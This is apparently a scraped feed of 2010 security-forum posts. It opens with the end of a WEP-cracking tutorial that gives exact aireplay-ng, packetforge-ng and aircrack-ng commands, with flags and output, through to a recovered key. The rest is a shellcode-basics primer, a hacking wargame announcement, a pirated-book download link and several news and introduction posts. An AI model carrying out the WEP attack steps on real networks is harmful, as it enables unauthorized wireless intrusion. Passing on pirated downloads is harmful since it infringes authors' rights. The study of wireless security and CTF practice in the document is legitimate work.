01:54:33 Waiting for beacon frame (BSSID: 00:19:E4:48:97:A9) on channel 1




Size: 68, FromDS: 1, ToDS: 0 (WEP)


BSSID = 00:19:E4:48:97:A9
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:19:E4:48:97:A9


0x0000: 0842 0000 ffff ffff ffff 0019 e448 97a9 .B...........H..
0x0010: 0019 e448 97a9 0094 e74d 9c00 37d2 4c5b ...H.....M..7.L[
0x0020: 3410 24dd 7b04 bdc5 fc13 ada3 339d a06f 4.$.{.......3..o
0x0030: d1e2 0825 ecc8 539e c1c5 321f 55c3 58f1 ...%..S...2.U.X.
0x0040: 1ca8 e016 ....


Use this packet ? y


Saving chosen packet in replay_src-0901-015434.cap


Offset 67 ( 0% done) | xor = 08 | pt = 1E | 168 frames written in 2862ms
Offset 66 ( 2% done) | xor = 61 | pt = 81 | 426 frames written in 7247ms
Offset 65 ( 5% done) | xor = 2C | pt = 84 | 32 frames written in 536ms
Offset 64 ( 8% done) | xor = 0A | pt = 16 | 684 frames written in 11637ms
Offset 63 (11% done) | xor = 9A | pt = 6B | 326 frames written in 5539ms
Offset 62 (14% done) | xor = 59 | pt = 01 | 182 frames written in 3100ms
Offset 61 (17% done) | xor = 6B | pt = A8 | 39 frames written in 664ms
Offset 60 (20% done) | xor = 95 | pt = C0 | 654 frames written in 11111ms
Offset 59 (23% done) | xor = E0 | pt = FF | 14 frames written in 230ms
Offset 58 (26% done) | xor = CD | pt = FF | 753 frames written in 12813ms
Offset 57 (29% done) | xor = 3A | pt = FF | 669 frames written in 11369ms
Offset 56 (32% done) | xor = 3E | pt = FF | 19 frames written in 320ms
Offset 55 (35% done) | xor = 61 | pt = FF | 276 frames written in 4701ms
Offset 54 (38% done) | xor = AC | pt = FF | 1960 frames written in 33312ms
Offset 53 (41% done) | xor = 36 | pt = FE | 1100 frames written in 18705ms
Offset 52 (44% done) | xor = ED | pt = 01 | 91 frames written in 1546ms
Offset 51 (47% done) | xor = 8D | pt = A8 | 144 frames written in 2443ms
Offset 50 (50% done) | xor = C8 | pt = C0 | 42 frames written in 714ms
Offset 49 (52% done) | xor = 4B | pt = A9 | 173 frames written in 2941ms
Offset 48 (55% done) | xor = 46 | pt = 97 | 2360 frames written in 40130ms
Offset 47 (58% done) | xor = 27 | pt = 48 | 320 frames written in 5435ms
Offset 46 (61% done) | xor = 44 | pt = E4 | 1281 frames written in 21766ms
Offset 45 (64% done) | xor = 84 | pt = 19 | 1650 frames written in 28064ms
Offset 44 (67% done) | xor = 33 | pt = 00 | 241 frames written in 4091ms
Offset 43 (70% done) | xor = A2 | pt = 01 | 193 frames written in 3289ms
Offset 42 (73% done) | xor = AD | pt = 00 | 613 frames written in 10407ms
Offset 41 (76% done) | xor = 17 | pt = 04 | 163 frames written in 2776ms
Offset 40 (79% done) | xor = FA | pt = 06 | 1353 frames written in 23009ms
Offset 39 (82% done) | xor = C5 | pt = 00 | 136 frames written in 2305ms
Offset 38 (85% done) | xor = B5 | pt = 08 | 2027 frames written in 34467ms
Offset 37 (88% done) | xor = 05 | pt = 01 | 488 frames written in 8295ms
Offset 36 (91% done) | xor = 7B | pt = 00 | 18 frames written in 303ms
Offset 35 (94% done) | xor = DB | pt = 06 | 229 frames written in 3890ms
Offset 34 (97% done) | xor = 2C | pt = 08 | 404 frames written in 6871ms


Saving plaintext in replay_dec-0901-015714.cap
Saving keystream in replay_dec-0901-015714.xor


Completed in 152s (0.20 bytes/s)


Success ^ :)
Step 6. Use packetforge-ng to create a ARP packet



packetforge-ng -0 -a 00:19:E4:48:97:A9 -h 36:b1:e6:05:32:da -k 255.255.255.255 -l 255.255.255.255 -y fragment-0901-005142.xor -w wepcrack


-0 means create a ARP packet
-a is the WAP MAC in this case 00:19:E4:48:97:A9
-h is your MAC address in this case 36:b1:e6:05:32:da
-k is the destination IP (most AP's will work find with this setting)
-l is the source ip (again most AP's will respond fine with this)
-y fragment-0901-006142.xor is the file you get your PRGA from
-w is the name of the file you wish to call it in this case wepcrack


Success will look like this


Wrote packet to: wepcrack


Step 7. Inject the ARP packet



aireplay-ng -2 -r wepcrack mon0


-2 means interative mode
-r is the file of which to read the arp packet in this case wepcrack


you should see something similar


No source MAC (-h) specified. Using the device MAC (00:C0:CA:33:7F:72)




Size: 68, FromDS: 0, ToDS: 1 (WEP)


BSSID = 00:19:E4:48:97:A9
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:C0:CA:33:7F:72


0x0000: 0841 0201 0019 e448 97a9 00c0 ca33 7f72 .A.....H.....3r
0x0010: ffff ffff ffff 8001 df6e f700 79d3 cc92 .........n..y...
0x0020: f911 0d44 a461 c287 e878 caf7 61ea edbc ...D.a...x..a...
0x0030: a2cc 2b96 c8fa 1097 cb73 75ac cfd6 f8c6 ..+......su.....
0x0040: eea8 f908 ....


Use this packet ? y


Now we wait for about 40,000 IV's. If you take a look at your airodump window you will see the data start to sky rocket. When this reaches 40,000 hit ctrl+C to kill the process.


Succes :)


CH 1 ][ Elapsed: 27 mins ][ 2010-09-01 01:19


BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID


00:19:E4:48:97:A9 -67 33 8396 43869 41 1 54 . WEP WEP 2WIRE040


Final Step: Crack the WEP key



aircrack-ng -b 00:19:E4:48:97:A9 crackwep*.cap


-b is the WAP MAC address in this case 00:19:E4:48:97:A9


After a few seconds you will get the key


Aircrack-ng 1.0 r1645




[00:00:00] Tested 74 keys (got 43384 IVs)


KB depth byte(vote)
0 0/ 2 82(57088) CE(52224) 09(51968) F1(51712) 8A(51200) 3E(50944) 52(50432) 4E(50176) 4F(50176) 93(50176) 35(49920) EE(49920) 13(48896) 14(48896)
1 1/ 3 90(52736) F9(52224) 2E(51200) D5(50944) BA(50688) B9(50432) 51(49920) C1(49920) 48(49664) 35(49408) 12(49152) 9B(49152) F4(48896) 9D(48640)
2 0/ 1 73(60416) 49(54016) 79(52480) 11(52224) 22(52224) 7B(51712) EF(50944) 16(50432) 58(50432) 82(50432) D4(50432) 72(49664) 3A(49408) BA(49152)
3 0/ 6 08(56320) A8(54784) 1C(52992) B3(52736) 10(52224) 8D(51968) D8(50944) 82(50688) 10(50176) 0E(49920) CB(49920) F7(49408) 5F(49152) DA(49152)
4 0/ 3 80(55808) 00(52480) 0B(51456) FC(50944) 95(50432) B7(50432) AE(49920) C0(49408) E4(49152) 24(48896) 6D(48896) 82(48896) 7F(48640) D4(48640)


KEY FOUND! [ 82:77:73:08:80 ]
Decrypted correctly: 100%


I hope you enjoyed my tutorial.


Securityxxxpert


Note I will be making a video as well to attach with when time permits.


For those that want a nice pdf of the same thing I uploaded it here


http://rapidshare.com/files/41639145...ients.pdf.html ]]> securityxxxpert http://forum.intern0t.net/offensive-guides-information/3019-cracking-wep-without-clients-connected-wap.html Gray Hat Python: Python Programming for Hackers and Reverse Engineer http://forum.intern0t.net/perl-python/3018-gray-hat-python-python-programming-hackers-reverse-engineer.html Wed, 01 Sep 2010 04:24:06 GMT Image: http://ecx.images-amazon.com/images/I/51a7VUQcPpL._BO2,204,203,200_PIsitb-sticker-arrow-click,TopRight,35,-76_AA300_SH20_OU01_.jpg Justin...

Justin Seitz "Gray Hat Python: Python Programming for Hackers and Reverse Engineers"
No Starch Press | English | 2009-04-01 | ISBN: 1593271921 | 232 pages | PDF | 2,5 MB


MEGAUPLOAD - The leading online storage and file delivery service ]]> Perl // Python jimmyromanticdevil http://forum.intern0t.net/perl-python/3018-gray-hat-python-python-programming-hackers-reverse-engineer.html need help please :( http://forum.intern0t.net/general-programming-discussions/3017-need-help-please.html Tue, 31 Aug 2010 20:54:37 GMT need help please .... :(
anybbody can decrypte this

BZh91AY&SY\x88\x9f\xd7Y\x00\x00\x06\x99\x80\x00\x0 1\xc8\x10\x1e\xed\xd5\x80 \x00"\x86C@b=B\x81\xa6\x86FLMS\x07\xb3b\xb2q_\x8f5 S\xf3\x00\x90\x90\n_\x17rE8P\x90\x88\x9f\xd7Y

please ... :( ]]> General Programming Discussions jimmyromanticdevil http://forum.intern0t.net/general-programming-discussions/3017-need-help-please.html Malware Conference - Malcon http://forum.intern0t.net/security-news-feeds/3015-malware-conference-malcon.html Tue, 31 Aug 2010 13:02:06 GMT *Image: http://malcon.org/images/mal/malwareconference.png Malcon is the worlds first platform bringing together Malware and Information...


Malcon is the worlds first platform bringing together Malware and Information Security Researchers from across the globe to share key research insights into building and containment of the next generation malwares .

Venue Mumbai & pune (India)
Date 2nd n 3rd and 5th December 2010

Call for Papers

Inviting all malware researchers and coders to showcase their work at the international Malware Conference.

Registration

1 CFP

http://spreadsheets.google.com/viewf...SDAtREd6dXc6MQ

2 Training and Conference

http://malcon.org ]]> Security News and Feeds aditya292004 http://forum.intern0t.net/security-news-feeds/3015-malware-conference-malcon.html Hi every1 http://forum.intern0t.net/introductions/3014-hi-every1.html Tue, 31 Aug 2010 12:53:41 GMT Im aditya frm mumbai india i m ethical hacker Im aditya frm mumbai india

i m ethical hacker ]]> Introductions aditya292004 http://forum.intern0t.net/introductions/3014-hi-every1.html My First Shellcode - Part 1 http://forum.intern0t.net/offensive-guides-information/3013-my-first-shellcode-part-1-a.html Tue, 31 Aug 2010 11:41:07 GMT Since I'm doing the CTP course by Offensive Security and need to be capable
of writing my own shellcode by hand, I decided to study this topic in depth which
has given me a lot more knowledge though I need to become even better, be-
cause I'm still only a beginner.

This guide is intended for Windows Operating Systems running Windows XP with-
out ASLR enabled since hardcoded memory addresses for API calls will be used.


Introduction
Assembly which is the language that I'll be using throughout this tutorial is
actually CPU instructions aka opcodes. Occasionally I refer to this as machine
code, binary code and shellcode since they're essentially the same.

Shellcode however, should result in code execution such as a shell.

Whenever you're writing assembly, you should know about how the registers
function how the memory is handled on the Intel Architecture systems (IA-32).

In this case we're using IA-32 (Intel Architecture, 32-bit) aka the x86
architecture which consists of a "couple" of registers able to contain,
yes 32 bits each. 64-bit processors are able to contain 64 bits.

A register you can use is e.g. EDI, and if all the bits are used it looks like this:
11111111 11111111 11111111 11111111

Whenever we're in a debugger, we would see this: FFFF FFFF

If we add 1 to this value, the register becomes 0 because it "Wraps Around" at the highest value.

Now I won't be going to explain why the value FFFF FFFF is equal to -1 since
that still confuses me a little even though I may cover this topic later.

For now it's not that important since we'll use our debugger to calculate for us in case we need it.

Now, lets get back the registers.

Here is a list of all the registers:
* AX/EAX: accumulator
* BX/EBX: base index (ex: arrays)
* CX/ECX: counter
* DX/EDX: data/general
* SI/ESI: "source index" for string operations.
* DI/EDI: "destination index" for string operations.
* SP/ESP: stack pointer for top address of the stack.
* BP/EBP: stack base pointer for holding the address of the current stack frame.
* IP/EIP: instruction pointer. Holds the program counter, the current instruction address.

In essence, we can use most of these registers as we like. There's no such
thing as we have to use ESI for one thing, and EDI for another in case we
need to use a registers for a calculation or store a temporary value.

However when we're dealing with API's, the EAX register is usually used to
call into the specific API functions, such as in this case: MessageBoxA.

While other registers has other purposes too of course.


A bit more about registers and IA-32
I should note that EIP is the "Current Instruction Pointer", which we cannot
alter directly as it points to the next instruction which is going to be executed.

However if we perform a jump (to somewhere else in memory) or "call" a function,
then EIP will change to whatever value we desire however if the value does not point
to an opcode which can be executed, then we may receive an error. (Access Violation,
or perhaps another depending on what happened.)

Whenever a buffer overflow happens, control over the EIP (usually) means we can play.

Now, ESP is also quite important. This points to our stack, where values and
more are stored, usually as arguments aka variables for API calls! :wink:

EBP is the base pointer, which can be manipulated and contain erroneous
values but in case we're using API functions, this should point to a valid
position on the stack. (Point to valid memory stack space.)

Enough about registers, about IA-32:
Q: When you're writing an opcode in OllyDbg you may notice that the code
is somewhat reversed, why is that?
A: In short it's because of "Little Endian" (a guy from outer space) which
needs the data to be in an order which is "kinda" reversed. Here's an example.

We're going to send DEADBEEF (this hexadecimal value is valid for test purposes),
into a register via perhaps a buffer overflow or by executing a file which contains
this instruction. (Lets just say the instruction is MOV EAX, 0xDEADBEEF)

Without the instruction, which simple takes a value and puts it into EAX,
we note that DEADBEEF without our debugger doing the job for us, needs
to be in Little Endian byte order.

1 byte consists of 8 bits.

8 bits looks like: 1111 1111

What does 1 byte look like? FF is equal to 1111 1111 (binary) which is 1 byte.

So DEADBEEF, equals 4 bytes! (DE AD BE EF == 4 bytes == 32 bits)

Now, in Little Endian byte order..

The actual bytes are not reversed, but the structure is! So DEADBEEF, is
split up into DE AD BE EF, which is reversed to: EF BE AD DE.

Simply, the last value is read first! (Thumb rule!)


This is good to know, especially when we push data onto the stack and
when we're sending "return addresses" in buffer overflows where this ad-
dress needs to be in Little Endian order, because otherwise perhaps EIP
will look, reversed to us which isn't what we want to do :wink:


By knowing all of this, we're ready to continue onto the next part.
Link: In Process..

(The next part will contain actual assembly code, this part was made in
order to make sure the reader would understand the basic concepts of
Assembly code and how memory is handled, in short.)


References:
http://en.wikipedia.org/wiki/X86
http://en.wikipedia.org/wiki/IA-32 ]]> MaXe http://forum.intern0t.net/offensive-guides-information/3013-my-first-shellcode-part-1-a.html HaXx.Me #02 - Web Application Security, Again! http://forum.intern0t.net/intern0t-contests/3012-haxx-me-02-web-application-security-again.html Tue, 31 Aug 2010 09:35:21 GMT Dear members of InterN0T, The last HaXx.Me #01 challenge... Dear members of InterN0T,


The last HaXx.Me #01 challenge aka wargame went smoothly with a lot of
trial and error, success and failure. Now it's time for the second challenge,
featuring more Web Application Security in order to teach you what you may
encounter in real life scenarios as a Penetration Tester!

The target will be announced here in this thread, on twitter and IRC, while the complete
objectives will only be released here. There are a few rules (common sense) which has
to be followed as well, these are mentioned below.

Winners
The contest has not ended yet

Documentation
The contest has not ended yet


Rules
- It is forbidden to intentionally cause DoS conditions.
- It is strictly forbidden to try and break out of the Xen instance.
- Attacking other servers on the same host or network is strictly forbidden.
- You may only attack the IP and domain announced here.
- Avoid altering the target to deny other contest participants.
- You may attack any service hosted on the target.
- You may use any tool necessary to hack the target as long as you don't break the rules above.


Hints
- Some passwords in this wargame, may be vulnerable to dictionary attacks.
- Check out twitter from time to time, hints may be revealed occasionally.
- Read blogs and threads on InterN0T about Web Application Security.


Contact
- In case the server is down, contact Hestas or Rorok and inform them about this.
- You can also send a PM to me or use our Contact Us form.


Timeline
The challenge starts some time at the 1st September 2010 (GMT+1).
The challenge ends around the 8th September 2010 (GMT+1).


Submissions
In order for us to see how you managed to "crack" the server, we'd like you
to provide some brief documentation. The layout overall doesn't matter but
One could look at the HSIYF documentation others made, to get an idea how
such a thing could look like.


Challenge
The target server will be restored from a backup each ~24 hours.



HaXx.Me #02 Target
Target: hax0r.intern0t.net

Objectives:
  • Gain shell access to the server and find the winning key in the root directory.

Don't forget to have fun while you're doing this! :wink:

If you fail, don't believe you're not good enough. Try Harder as the people
from Offensive Security tend to say, or simply give up and wait for the full
documentation which may include a video from InterN0T, again!



Best regards,
MaXe ]]> InterN0T Contests MaXe http://forum.intern0t.net/intern0t-contests/3012-haxx-me-02-web-application-security-again.html Experiment crashed a part of the Internet http://forum.intern0t.net/security-news-feeds/3011-experiment-crashed-part-internet.html Tue, 31 Aug 2010 08:58:30 GMT *Cisco patches bug that crashed 1 percent of Internet* Cisco has fixed a bug in its IOS (Internetwork Operating System) router software that... Cisco patches bug that crashed 1 percent of Internet


Cisco has fixed a bug in its IOS (Internetwork Operating System) router software that contributed to a brief Internet blackout last week, thought to have affected about 1 percent of the Internet.

The bug was discovered last Friday when the RIPE NCC (Reseaux IP Europeens Network Coordination Centre) and researchers at Duke University started distributing experimental BGP (Border Gateway Protocol) data via RIPE NCC's systems. A large number of routers on the Internet became unreachable within minutes and the experiment was quickly stopped.

The Border Gateway Protocol is used by routers to find the best ways to send traffic to each other on the Internet. Because it is very easy for bad BGP data to spread quickly, security experts have warned that it could someday be misused to seriously disrupt the Internet.

It turned out that routers that were running Cisco's IOS XR operating system took the experimental data -- which was much larger than typical BGP routing information -- corrupted it, and then passed that corrupted information on to other routers. Many of the routers that received this information simply closed connections with the Cisco routers that sent the buggy data, causing part of the Internet to become inaccessible.

In a security advisory released just hours after the incident, Cisco confirmed that Friday's incident disclosed the bug. "An advertisement of an unrecognized but valid BGP attribute resulted in resetting of several BGP neighbors on 27 August 2010. This advertisement was not malicious but inadvertently triggered this vulnerability," Cisco said in its advisory.

Cisco's IOS XR operating system is built for its carrier-grade CRS-1 routers, used by large telecommunications companies.


Read the rest of the article here:
Cisco patches bug that crashed 1 percent of Internet ]]> Security News and Feeds MaXe http://forum.intern0t.net/security-news-feeds/3011-experiment-crashed-part-internet.html Hi... http://forum.intern0t.net/introductions/3010-hi.html Tue, 31 Aug 2010 08:14:53 GMT I'm Ripzaw. I have decent knowledge about information security (technical, operational and strategic).

I have found it useful to have knowledge about hacking (the more the better), and it is very interesting.

I'm interested in social engineering, wireless hacking and learn as much as possible about general hacking.

I am running BT4 on a dual-boot. ]]> Introductions Ripzaw http://forum.intern0t.net/introductions/3010-hi.html Wxpython Another Tutorial http://forum.intern0t.net/perl-python/3009-wxpython-another-tutorial.html Tue, 31 Aug 2010 03:22:32 GMT ok i love PDF so i found a web called web2pdfconvert and i decide to make the wxpython guide into a pdf and share it with you guys they are 66... ok i love PDF so i found a web called web2pdfconvert and i decide to make the wxpython guide into a pdf and share it with you guys

they are 66 pages including images, its the same thing as the web

Here is the pdf wiki-wxpython-org.pdf
This is the icons used in the tutorial http://wiki.wxpython.org/AnotherTuto...rget=icons.tgz
This are the images used in the tutorial http://wiki.wxpython.org/AnotherTuto...get=images.tgz

also the original site is AnotherTutorial - wxPyWiki

this might be useless for some of you but its a great tutorial for python GUI programing and its and easy way to read it if you got not internet xD ]]> Perl // Python LeXeL http://forum.intern0t.net/perl-python/3009-wxpython-another-tutorial.html